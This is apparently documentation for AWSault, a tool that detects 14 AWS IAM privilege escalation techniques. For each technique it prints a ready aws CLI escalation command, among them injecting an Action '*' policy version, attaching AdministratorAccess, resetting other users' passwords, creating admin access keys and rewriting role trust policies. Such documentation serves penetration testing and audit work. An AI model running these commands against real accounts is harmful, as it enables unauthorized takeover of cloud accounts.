AWSault detects 14 known IAM privilege escalation techniques by scanning all discovered policies — both on your direct identity and on roles you can assume.

After building the full identity permission map (see Identity Recon), AWSault:

1. Collects all policy statements from:
   • Your direct policies (inline, attached, group-inherited)
   • Policies on roles you can assume
2. For each Allow statement, checks if any action matches a known privesc technique
3. Supports wildcard matching (e.g., iam:* matches all IAM privesc actions)
4. Deduplicates findings (same technique + same policy + same role = one finding)
5. Sorts by severity (CRITICAL first)
6. For SetDefaultPolicyVersion, also collects the actual alternate policy versions

Severity: HIGH

AWS managed and customer-managed policies can have up to 5 versions. Only the "default" version is active. If you have iam:SetDefaultPolicyVersion, you can switch to any existing version.

AWSault's approach:

• Enumerates all versions of every managed policy on your identity via list_policy_versions
• Fetches the full document of each non-default version via get_policy_version
• Displays the statements in each alternate version so you can see which one has more permissions
• Generates the exact aws CLI command to switch

Example output:

HIGH  Policy Version Rollback
      Switch managed policy to older version with more permissions
      action: iam:SetDefaultPolicyVersion (in policy 'DevPolicy')

      Available policy versions to switch to:
        ■ DevPolicy version v1
            Allow: s3:*, iam:*, ec2:*, lambda:*
              → *

Escalation command:

aws iam set-default-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/DevPolicy \
  --version-id v1

Severity: CRITICAL

Create a new version of a managed policy with Action: *, Resource: * and set it as the default.

Escalation command:

aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/MyPolicy \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
  --set-as-default

Severity: CRITICAL

Attach AdministratorAccess (or any other policy) to a user, role, or group.

Escalation commands:

# attach to user
aws iam attach-user-policy \
  --user-name target-user \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# attach to role
aws iam attach-role-policy \
  --role-name target-role \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# attach to group
aws iam attach-group-policy \
  --group-name target-group \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Severity: CRITICAL

Create an inline policy with full admin permissions on a user, role, or group.

Escalation commands:

# on user
aws iam put-user-policy \
  --user-name target-user \
  --policy-name admin \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'

# on role
aws iam put-role-policy \
  --role-name target-role \
  --policy-name admin \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'

Severity: HIGH

Add your user to a group that has admin or higher-privilege policies.

aws iam add-user-to-group --user-name your-user --group-name Admins

Severity: HIGH

Create or change console passwords for other users, then log in as them.

# create login for user without console access
aws iam create-login-profile --user-name target-user --password 'P@ssw0rd123!'

# change existing password
aws iam update-login-profile --user-name target-user --password 'P@ssw0rd123!'

Severity: HIGH

Generate programmatic access keys for any user, including admin users.

aws iam create-access-key --user-name admin-user

Severity: CRITICAL

Modify a role's trust policy so your identity can assume it.

aws iam update-assume-role-policy \
  --role-name high-priv-role \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123456789012:user/your-user"},"Action":"sts:AssumeRole"}]}'

Severity: HIGH

Pass a high-privilege role to a service you control (e.g., create a Lambda function that runs as an admin role).

# create lambda with admin role
aws lambda create-function \
  --function-name escalate \
  --runtime python3.9 \
  --role arn:aws:iam::123456789012:role/admin-role \
  --handler index.handler \
  --zip-file fileb://function.zip

Privesc paths are displayed prominently with a red banner:

  PRIVILEGE ESCALATION PATHS (3)

    CRITICAL  Policy Version Injection
      Create a new policy version with arbitrary permissions
      action: iam:CreatePolicyVersion (in policy 'DevPolicy')

    HIGH  Policy Version Rollback (via role dev-role)
      Switch managed policy to older version with more permissions
      action: iam:SetDefaultPolicyVersion (in policy 'DevPolicy')

Shown in the Recon tab with severity badges, collapsible details, and alternate version statements.

Flat rows with severity, name, action, via_policy, via_role, resources, and description.

Structured data under recon.PrivescPaths.

AWSault handles IAM wildcard patterns correctly:

• iam:* matches all 14 privesc actions
• iam:Create* matches CreatePolicyVersion, CreateLoginProfile, CreateAccessKey
• * matches everything
• Matching is case-insensitive for the action portion

Privesc paths found through assumable roles are tagged with (via role <role-name>). This means:

1. First assume the role: aws sts assume-role --role-arn <arn> --role-session-name x
2. Then execute the escalation command with the temporary credentials